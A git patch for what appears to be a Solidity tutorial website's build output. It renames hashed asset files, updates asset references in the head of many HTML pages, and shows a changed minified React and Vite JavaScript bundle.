From 7e128da1c39d7fdcc398a8ea8994daa867e8f452 Mon Sep 17 00:00:00 2001 From: t4sk Date: Sat, 6 Apr 2024 20:01:51 +0900 Subject: [PATCH] Updates --- 404.html | 4 +- abi-decode/index.html | 4 +- abi-encode/index.html | 4 +- app/assembly-bin-exp/index.html | 4 +- app/bi-directional-payment-channel/index.html | 4 +- app/create2/index.html | 4 +- app/crowd-fund/index.html | 4 +- app/deploy-any-contract/index.html | 4 +- app/dutch-auction/index.html | 4 +- app/english-auction/index.html | 4 +- app/erc1155/index.html | 4 +- app/erc20/index.html | 4 +- app/erc721/index.html | 4 +- app/ether-wallet/index.html | 4 +- app/gasless-token-transfer/index.html | 4 +- app/iterable-mapping/index.html | 4 +- app/merkle-tree/index.html | 4 +- app/minimal-proxy/index.html | 4 +- app/multi-call/index.html | 4 +- app/multi-delegatecall/index.html | 4 +- app/multi-sig-wallet/index.html | 4 +- app/simple-bytecode-contract/index.html | 4 +- app/time-lock/index.html | 4 +- .../index.html | 4 +- app/upgradeable-proxy/index.html | 4 +- app/write-to-any-slot/index.html | 4 +- array/index.html | 4 +- assembly-error/index.html | 4 +- assembly-if/index.html | 4 +- assembly-loop/index.html | 4 +- assembly-math/index.html | 4 +- assembly-variable/index.html | 4 +- ...cord-akqDA9xj.png => discord-BqSoMD3G.png} | Bin ...{index-kX5Eg0dF.css => index-CRfkSDR0.css} | 0 .../{index-s3mNOkuJ.js => index-fnlLCSl2.js} | 820 +++++++++++++++--- ...ram-zGrx4xca.png => telegram-DMavHjFx.png} | Bin bitwise/index.html | 4 +- call/index.html | 4 +- calling-contract/index.html | 4 +- constants/index.html | 4 +- constructor/index.html | 4 +- data-locations/index.html | 4 +- defi/chainlink-price-oracle/index.html | 4 +- defi/constant-product-amm/index.html | 4 +- defi/constant-sum-amm/index.html | 4 +- defi/dai-proxy/index.html | 4 +- defi/discrete-staking-rewards/index.html | 4 +- defi/stable-swap-amm/index.html | 4 +- defi/staking-rewards/index.html | 4 +- .../index.html | 4 +- defi/uniswap-v2-flash-swap/index.html | 4 +- .../index.html | 4 +- defi/uniswap-v2/index.html | 4 +- defi/uniswap-v3-flash-swap/index.html | 4 +- defi/uniswap-v3-flash/index.html | 4 +- defi/uniswap-v3-liquidity/index.html | 4 +- defi/uniswap-v3-swap/index.html | 4 +- defi/vault/index.html | 4 +- delegatecall/index.html | 4 +- enum/index.html | 4 +- error/index.html | 4 +- ether-units/index.html | 4 +- events/index.html | 4 +- evm/storage/index.html | 45 + fallback/index.html | 4 +- first-app/index.html | 4 +- function-modifier/index.html | 4 +- function-selector/index.html | 4 +- function/index.html | 4 +- gas-golf/index.html | 4 +- gas/index.html | 4 +- hacks/accessing-private-data/index.html | 4 +- hacks/block-timestamp-manipulation/index.html | 4 +- hacks/contract-size/index.html | 4 +- hacks/delegatecall/index.html | 4 +- hacks/denial-of-service/index.html | 4 +- .../index.html | 4 +- hacks/front-running/index.html | 4 +- .../index.html | 4 +- hacks/honeypot/index.html | 4 +- hacks/overflow/index.html | 4 +- hacks/phishing-with-tx-origin/index.html | 4 +- hacks/randomness/index.html | 4 +- hacks/re-entrancy/index.html | 4 +- hacks/self-destruct/index.html | 4 +- hacks/signature-replay/index.html | 4 +- hacks/vault-inflation/index.html | 4 +- hacks/weth-permit/index.html | 4 +- hashing/index.html | 4 +- hello-world/index.html | 4 +- if-else/index.html | 4 +- immutable/index.html | 4 +- import/index.html | 4 +- index.html | 4 +- inheritance/index.html | 4 +- interface/index.html | 4 +- library/index.html | 4 +- loop/index.html | 4 +- mapping/index.html | 4 +- new-contract/index.html | 4 +- payable/index.html | 4 +- primitives/index.html | 4 +- sending-ether/index.html | 4 +- .../index.html | 4 +- signature/index.html | 4 +- state-variables/index.html | 4 +- structs/index.html | 4 +- super/index.html | 4 +- tests/echidna/index.html | 4 +- transient-storage/index.html | 4 +- try-catch/index.html | 4 +- unchecked-math/index.html | 4 +- variables/index.html | 4 +- view-and-pure-functions/index.html | 4 +- visibility/index.html | 4 +- 115 files changed, 956 insertions(+), 349 deletions(-) rename assets/{discord-akqDA9xj.png => discord-BqSoMD3G.png} (100%) rename assets/{index-kX5Eg0dF.css => index-CRfkSDR0.css} (100%) rename assets/{index-s3mNOkuJ.js => index-fnlLCSl2.js} (85%) rename assets/{telegram-zGrx4xca.png => telegram-DMavHjFx.png} (100%) create mode 100644 evm/storage/index.html diff --git a/404.html b/404.html index c5880a087..8339c943a 100644 --- a/404.html +++ b/404.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/abi-decode/index.html b/abi-decode/index.html index c5880a087..8339c943a 100644 --- a/abi-decode/index.html +++ b/abi-decode/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/abi-encode/index.html b/abi-encode/index.html index c5880a087..8339c943a 100644 --- a/abi-encode/index.html +++ b/abi-encode/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/assembly-bin-exp/index.html b/app/assembly-bin-exp/index.html index c5880a087..8339c943a 100644 --- a/app/assembly-bin-exp/index.html +++ b/app/assembly-bin-exp/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/bi-directional-payment-channel/index.html b/app/bi-directional-payment-channel/index.html index c5880a087..8339c943a 100644 --- a/app/bi-directional-payment-channel/index.html +++ b/app/bi-directional-payment-channel/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/create2/index.html b/app/create2/index.html index c5880a087..8339c943a 100644 --- a/app/create2/index.html +++ b/app/create2/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/crowd-fund/index.html b/app/crowd-fund/index.html index c5880a087..8339c943a 100644 --- a/app/crowd-fund/index.html +++ b/app/crowd-fund/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/deploy-any-contract/index.html b/app/deploy-any-contract/index.html index c5880a087..8339c943a 100644 --- a/app/deploy-any-contract/index.html +++ b/app/deploy-any-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/dutch-auction/index.html b/app/dutch-auction/index.html index c5880a087..8339c943a 100644 --- a/app/dutch-auction/index.html +++ b/app/dutch-auction/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/english-auction/index.html b/app/english-auction/index.html index c5880a087..8339c943a 100644 --- a/app/english-auction/index.html +++ b/app/english-auction/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/erc1155/index.html b/app/erc1155/index.html index c5880a087..8339c943a 100644 --- a/app/erc1155/index.html +++ b/app/erc1155/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/erc20/index.html b/app/erc20/index.html index c5880a087..8339c943a 100644 --- a/app/erc20/index.html +++ b/app/erc20/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/erc721/index.html b/app/erc721/index.html index c5880a087..8339c943a 100644 --- a/app/erc721/index.html +++ b/app/erc721/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/ether-wallet/index.html b/app/ether-wallet/index.html index c5880a087..8339c943a 100644 --- a/app/ether-wallet/index.html +++ b/app/ether-wallet/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/gasless-token-transfer/index.html b/app/gasless-token-transfer/index.html index c5880a087..8339c943a 100644 --- a/app/gasless-token-transfer/index.html +++ b/app/gasless-token-transfer/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/iterable-mapping/index.html b/app/iterable-mapping/index.html index c5880a087..8339c943a 100644 --- a/app/iterable-mapping/index.html +++ b/app/iterable-mapping/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/merkle-tree/index.html b/app/merkle-tree/index.html index c5880a087..8339c943a 100644 --- a/app/merkle-tree/index.html +++ b/app/merkle-tree/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/minimal-proxy/index.html b/app/minimal-proxy/index.html index c5880a087..8339c943a 100644 --- a/app/minimal-proxy/index.html +++ b/app/minimal-proxy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/multi-call/index.html b/app/multi-call/index.html index c5880a087..8339c943a 100644 --- a/app/multi-call/index.html +++ b/app/multi-call/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/multi-delegatecall/index.html b/app/multi-delegatecall/index.html index c5880a087..8339c943a 100644 --- a/app/multi-delegatecall/index.html +++ b/app/multi-delegatecall/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/multi-sig-wallet/index.html b/app/multi-sig-wallet/index.html index c5880a087..8339c943a 100644 --- a/app/multi-sig-wallet/index.html +++ b/app/multi-sig-wallet/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/simple-bytecode-contract/index.html b/app/simple-bytecode-contract/index.html index c5880a087..8339c943a 100644 --- a/app/simple-bytecode-contract/index.html +++ b/app/simple-bytecode-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/time-lock/index.html b/app/time-lock/index.html index c5880a087..8339c943a 100644 --- a/app/time-lock/index.html +++ b/app/time-lock/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/uni-directional-payment-channel/index.html b/app/uni-directional-payment-channel/index.html index c5880a087..8339c943a 100644 --- a/app/uni-directional-payment-channel/index.html +++ b/app/uni-directional-payment-channel/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/upgradeable-proxy/index.html b/app/upgradeable-proxy/index.html index c5880a087..8339c943a 100644 --- a/app/upgradeable-proxy/index.html +++ b/app/upgradeable-proxy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/app/write-to-any-slot/index.html b/app/write-to-any-slot/index.html index c5880a087..8339c943a 100644 --- a/app/write-to-any-slot/index.html +++ b/app/write-to-any-slot/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/array/index.html b/array/index.html index c5880a087..8339c943a 100644 --- a/array/index.html +++ b/array/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-error/index.html b/assembly-error/index.html index c5880a087..8339c943a 100644 --- a/assembly-error/index.html +++ b/assembly-error/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-if/index.html b/assembly-if/index.html index c5880a087..8339c943a 100644 --- a/assembly-if/index.html +++ b/assembly-if/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-loop/index.html b/assembly-loop/index.html index c5880a087..8339c943a 100644 --- a/assembly-loop/index.html +++ b/assembly-loop/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-math/index.html b/assembly-math/index.html index c5880a087..8339c943a 100644 --- a/assembly-math/index.html +++ b/assembly-math/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assembly-variable/index.html b/assembly-variable/index.html index c5880a087..8339c943a 100644 --- a/assembly-variable/index.html +++ b/assembly-variable/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/assets/discord-akqDA9xj.png b/assets/discord-BqSoMD3G.png similarity index 100% rename from assets/discord-akqDA9xj.png rename to assets/discord-BqSoMD3G.png diff --git a/assets/index-kX5Eg0dF.css b/assets/index-CRfkSDR0.css similarity index 100% rename from assets/index-kX5Eg0dF.css rename to assets/index-CRfkSDR0.css diff --git a/assets/index-s3mNOkuJ.js b/assets/index-fnlLCSl2.js similarity index 85% rename from assets/index-s3mNOkuJ.js rename to assets/index-fnlLCSl2.js index 18cbf1492..d063d6778 100644 --- a/assets/index-s3mNOkuJ.js +++ b/assets/index-fnlLCSl2.js @@ -1,4 +1,4 @@ -function Ag(s,a){for(var n=0;nl[p]})}}}return Object.freeze(Object.defineProperty(s,Symbol.toStringTag,{value:"Module"}))}(function(){const a=document.createElement("link").relList;if(a&&a.supports&&a.supports("modulepreload"))return;for(const p of document.querySelectorAll('link[rel="modulepreload"]'))l(p);new MutationObserver(p=>{for(const e of p)if(e.type==="childList")for(const c of e.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&l(c)}).observe(document,{childList:!0,subtree:!0});function n(p){const e={};return p.integrity&&(e.integrity=p.integrity),p.referrerPolicy&&(e.referrerPolicy=p.referrerPolicy),p.crossOrigin==="use-credentials"?e.credentials="include":p.crossOrigin==="anonymous"?e.credentials="omit":e.credentials="same-origin",e}function l(p){if(p.ep)return;p.ep=!0;const e=n(p);fetch(p.href,e)}})();var dl=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function Ko(s){return s&&s.__esModule&&Object.prototype.hasOwnProperty.call(s,"default")?s.default:s}var So={exports:{}},jp={},Mo={exports:{}},v={};/** +function yg(s,a){for(var n=0;nl[p]})}}}return Object.freeze(Object.defineProperty(s,Symbol.toStringTag,{value:"Module"}))}(function(){const a=document.createElement("link").relList;if(a&&a.supports&&a.supports("modulepreload"))return;for(const p of document.querySelectorAll('link[rel="modulepreload"]'))l(p);new MutationObserver(p=>{for(const e of p)if(e.type==="childList")for(const c of e.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&l(c)}).observe(document,{childList:!0,subtree:!0});function n(p){const e={};return p.integrity&&(e.integrity=p.integrity),p.referrerPolicy&&(e.referrerPolicy=p.referrerPolicy),p.crossOrigin==="use-credentials"?e.credentials="include":p.crossOrigin==="anonymous"?e.credentials="omit":e.credentials="same-origin",e}function l(p){if(p.ep)return;p.ep=!0;const e=n(p);fetch(p.href,e)}})();var Il=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function Fo(s){return s&&s.__esModule&&Object.prototype.hasOwnProperty.call(s,"default")?s.default:s}var Ko={exports:{}},jp={},So={exports:{}},v={};/** * @license React * react.production.min.js * @@ -6,7 +6,7 @@ function Ag(s,a){for(var n=0;n>>1,$=f[Q];if(0>>1;Qp(Sp,X))ka<$&&0>p(hl,Sp)?(f[Q]=hl,f[ka]=X,Q=ka):(f[Q]=Sp,f[wa]=X,Q=wa);else if(ka<$&&0>p(hl,X))f[Q]=hl,f[ka]=X,Q=ka;else break s}}return R}function p(f,R){var X=f.sortIndex-R.sortIndex;return X!==0?X:f.id-R.id}if(typeof performance=="object"&&typeof performance.now=="function"){var e=performance;s.unstable_now=function(){return e.now()}}else{var c=Date,t=c.now();s.unstable_now=function(){return c.now()-t}}var o=[],i=[],d=1,I=null,j=3,y=!1,m=!1,b=!1,G=typeof setTimeout=="function"?setTimeout:null,h=typeof clearTimeout=="function"?clearTimeout:null,g=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function C(f){for(var R=n(i);R!==null;){if(R.callback===null)l(i);else if(R.startTime<=f)l(i),R.sortIndex=R.expirationTime,a(o,R);else break;R=n(i)}}function A(f){if(b=!1,C(f),!m)if(n(o)!==null)m=!0,Fp(Z);else{var R=n(i);R!==null&&Kp(A,R.startTime-f)}}function Z(f,R){m=!1,b&&(b=!1,h(Y),Y=-1),y=!0;var X=j;try{for(C(R),I=n(o);I!==null&&(!(I.expirationTime>R)||f&&!Rs());){var Q=I.callback;if(typeof Q=="function"){I.callback=null,j=I.priorityLevel;var $=Q(I.expirationTime<=R);R=s.unstable_now(),typeof $=="function"?I.callback=$:I===n(o)&&l(o),C(R)}else l(o);I=n(o)}if(I!==null)var gl=!0;else{var wa=n(i);wa!==null&&Kp(A,wa.startTime-R),gl=!1}return gl}finally{I=null,j=X,y=!1}}var k=!1,B=null,Y=-1,x=5,N=-1;function Rs(){return!(s.unstable_now()-Nf||125Q?(f.sortIndex=X,a(i,f),n(o)===null&&f===n(i)&&(b?(h(Y),Y=-1):b=!0,Kp(A,X-Q))):(f.sortIndex=$,a(o,f),m||y||(m=!0,Fp(Z))),f},s.unstable_shouldYield=Rs,s.unstable_wrapCallback=function(f){var R=j;return function(){var X=j;j=R;try{return f.apply(this,arguments)}finally{j=X}}}})(Po);Oo.exports=Po;var zg=Oo.exports;/** + */(function(s){function a(f,R){var X=f.length;f.push(R);s:for(;0>>1,$=f[U];if(0>>1;Up(Sp,X))ka<$&&0>p(hl,Sp)?(f[U]=hl,f[ka]=X,U=ka):(f[U]=Sp,f[wa]=X,U=wa);else if(ka<$&&0>p(hl,X))f[U]=hl,f[ka]=X,U=ka;else break s}}return R}function p(f,R){var X=f.sortIndex-R.sortIndex;return X!==0?X:f.id-R.id}if(typeof performance=="object"&&typeof performance.now=="function"){var e=performance;s.unstable_now=function(){return e.now()}}else{var c=Date,t=c.now();s.unstable_now=function(){return c.now()-t}}var o=[],i=[],I=1,d=null,j=3,A=!1,m=!1,b=!1,Z=typeof setTimeout=="function"?setTimeout:null,h=typeof clearTimeout=="function"?clearTimeout:null,g=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function C(f){for(var R=n(i);R!==null;){if(R.callback===null)l(i);else if(R.startTime<=f)l(i),R.sortIndex=R.expirationTime,a(o,R);else break;R=n(i)}}function y(f){if(b=!1,C(f),!m)if(n(o)!==null)m=!0,Fp(W);else{var R=n(i);R!==null&&Kp(y,R.startTime-f)}}function W(f,R){m=!1,b&&(b=!1,h(Y),Y=-1),A=!0;var X=j;try{for(C(R),d=n(o);d!==null&&(!(d.expirationTime>R)||f&&!Rs());){var U=d.callback;if(typeof U=="function"){d.callback=null,j=d.priorityLevel;var $=U(d.expirationTime<=R);R=s.unstable_now(),typeof $=="function"?d.callback=$:d===n(o)&&l(o),C(R)}else l(o);d=n(o)}if(d!==null)var gl=!0;else{var wa=n(i);wa!==null&&Kp(y,wa.startTime-R),gl=!1}return gl}finally{d=null,j=X,A=!1}}var k=!1,G=null,Y=-1,x=5,N=-1;function Rs(){return!(s.unstable_now()-Nf||125U?(f.sortIndex=X,a(i,f),n(o)===null&&f===n(i)&&(b?(h(Y),Y=-1):b=!0,Kp(y,X-U))):(f.sortIndex=$,a(o,f),m||A||(m=!0,Fp(W))),f},s.unstable_shouldYield=Rs,s.unstable_wrapCallback=function(f){var R=j;return function(){var X=j;j=R;try{return f.apply(this,arguments)}finally{j=X}}}})(Oo);Lo.exports=Oo;var zg=Lo.exports;/** * @license React * react-dom.production.min.js * @@ -30,15 +30,15 @@ function Ag(s,a){for(var n=0;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Ce=Object.prototype.hasOwnProperty,Eg=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,dt={},It={};function Ug(s){return Ce.call(It,s)?!0:Ce.call(dt,s)?!1:Eg.test(s)?It[s]=!0:(dt[s]=!0,!1)}function Tg(s,a,n,l){if(n!==null&&n.type===0)return!1;switch(typeof a){case"function":case"symbol":return!0;case"boolean":return l?!1:n!==null?!n.acceptsBooleans:(s=s.toLowerCase().slice(0,5),s!=="data-"&&s!=="aria-");default:return!1}}function Qg(s,a,n,l){if(a===null||typeof a>"u"||Tg(s,a,n,l))return!0;if(l)return!1;if(n!==null)switch(n.type){case 3:return!a;case 4:return a===!1;case 5:return isNaN(a);case 6:return isNaN(a)||1>a}return!1}function hs(s,a,n,l,p,e,c){this.acceptsBooleans=a===2||a===3||a===4,this.attributeName=l,this.attributeNamespace=p,this.mustUseProperty=n,this.propertyName=s,this.type=a,this.sanitizeURL=e,this.removeEmptyString=c}var ps={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(s){ps[s]=new hs(s,0,!1,s,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(s){var a=s[0];ps[a]=new hs(a,1,!1,s[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(s){ps[s]=new hs(s,2,!1,s.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(s){ps[s]=new hs(s,2,!1,s,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(s){ps[s]=new hs(s,3,!1,s.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(s){ps[s]=new hs(s,3,!0,s,null,!1,!1)});["capture","download"].forEach(function(s){ps[s]=new hs(s,4,!1,s,null,!1,!1)});["cols","rows","size","span"].forEach(function(s){ps[s]=new hs(s,6,!1,s,null,!1,!1)});["rowSpan","start"].forEach(function(s){ps[s]=new hs(s,5,!1,s.toLowerCase(),null,!1,!1)});var Cc=/[\-:]([a-z])/g;function jc(s){return s[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(s){var a=s.replace(Cc,jc);ps[a]=new hs(a,1,!1,s,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(s){var a=s.replace(Cc,jc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(s){var a=s.replace(Cc,jc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!1,!1)});ps.xlinkHref=new hs("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!0,!0)});function uc(s,a,n,l){var p=ps.hasOwnProperty(a)?ps[a]:null;(p!==null?p.type!==0:l||!(2"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Ce=Object.prototype.hasOwnProperty,Eg=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,ht={},It={};function Dg(s){return Ce.call(It,s)?!0:Ce.call(ht,s)?!1:Eg.test(s)?It[s]=!0:(ht[s]=!0,!1)}function Tg(s,a,n,l){if(n!==null&&n.type===0)return!1;switch(typeof a){case"function":case"symbol":return!0;case"boolean":return l?!1:n!==null?!n.acceptsBooleans:(s=s.toLowerCase().slice(0,5),s!=="data-"&&s!=="aria-");default:return!1}}function Ug(s,a,n,l){if(a===null||typeof a>"u"||Tg(s,a,n,l))return!0;if(l)return!1;if(n!==null)switch(n.type){case 3:return!a;case 4:return a===!1;case 5:return isNaN(a);case 6:return isNaN(a)||1>a}return!1}function hs(s,a,n,l,p,e,c){this.acceptsBooleans=a===2||a===3||a===4,this.attributeName=l,this.attributeNamespace=p,this.mustUseProperty=n,this.propertyName=s,this.type=a,this.sanitizeURL=e,this.removeEmptyString=c}var ps={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(s){ps[s]=new hs(s,0,!1,s,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(s){var a=s[0];ps[a]=new hs(a,1,!1,s[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(s){ps[s]=new hs(s,2,!1,s.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(s){ps[s]=new hs(s,2,!1,s,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(s){ps[s]=new hs(s,3,!1,s.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(s){ps[s]=new hs(s,3,!0,s,null,!1,!1)});["capture","download"].forEach(function(s){ps[s]=new hs(s,4,!1,s,null,!1,!1)});["cols","rows","size","span"].forEach(function(s){ps[s]=new hs(s,6,!1,s,null,!1,!1)});["rowSpan","start"].forEach(function(s){ps[s]=new hs(s,5,!1,s.toLowerCase(),null,!1,!1)});var Cc=/[\-:]([a-z])/g;function jc(s){return s[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(s){var a=s.replace(Cc,jc);ps[a]=new hs(a,1,!1,s,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(s){var a=s.replace(Cc,jc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(s){var a=s.replace(Cc,jc);ps[a]=new hs(a,1,!1,s,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!1,!1)});ps.xlinkHref=new hs("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(s){ps[s]=new hs(s,1,!1,s.toLowerCase(),null,!0,!0)});function uc(s,a,n,l){var p=ps.hasOwnProperty(a)?ps[a]:null;(p!==null?p.type!==0:l||!(2t||p[c]!==e[t]){var o=` -`+p[c].replace(" at new "," at ");return s.displayName&&o.includes("")&&(o=o.replace("",s.displayName)),o}while(1<=c&&0<=t);break}}}finally{Jp=!1,Error.prepareStackTrace=n}return(s=s?s.displayName||s.name:"")?Vn(s):""}function Dg(s){switch(s.tag){case 5:return Vn(s.type);case 16:return Vn("Lazy");case 13:return Vn("Suspense");case 19:return Vn("SuspenseList");case 0:case 2:case 15:return s=zp(s.type,!1),s;case 11:return s=zp(s.type.render,!1),s;case 1:return s=zp(s.type,!0),s;default:return""}}function Ae(s){if(s==null)return null;if(typeof s=="function")return s.displayName||s.name||null;if(typeof s=="string")return s;switch(s){case za:return"Fragment";case Ja:return"Portal";case je:return"Profiler";case yc:return"StrictMode";case ue:return"Suspense";case ye:return"SuspenseList"}if(typeof s=="object")switch(s.$$typeof){case ar:return(s.displayName||"Context")+".Consumer";case sr:return(s._context.displayName||"Context")+".Provider";case Ac:var a=s.render;return s=s.displayName,s||(s=a.displayName||a.name||"",s=s!==""?"ForwardRef("+s+")":"ForwardRef"),s;case mc:return a=s.displayName||null,a!==null?a:Ae(s.type)||"Memo";case na:a=s._payload,s=s._init;try{return 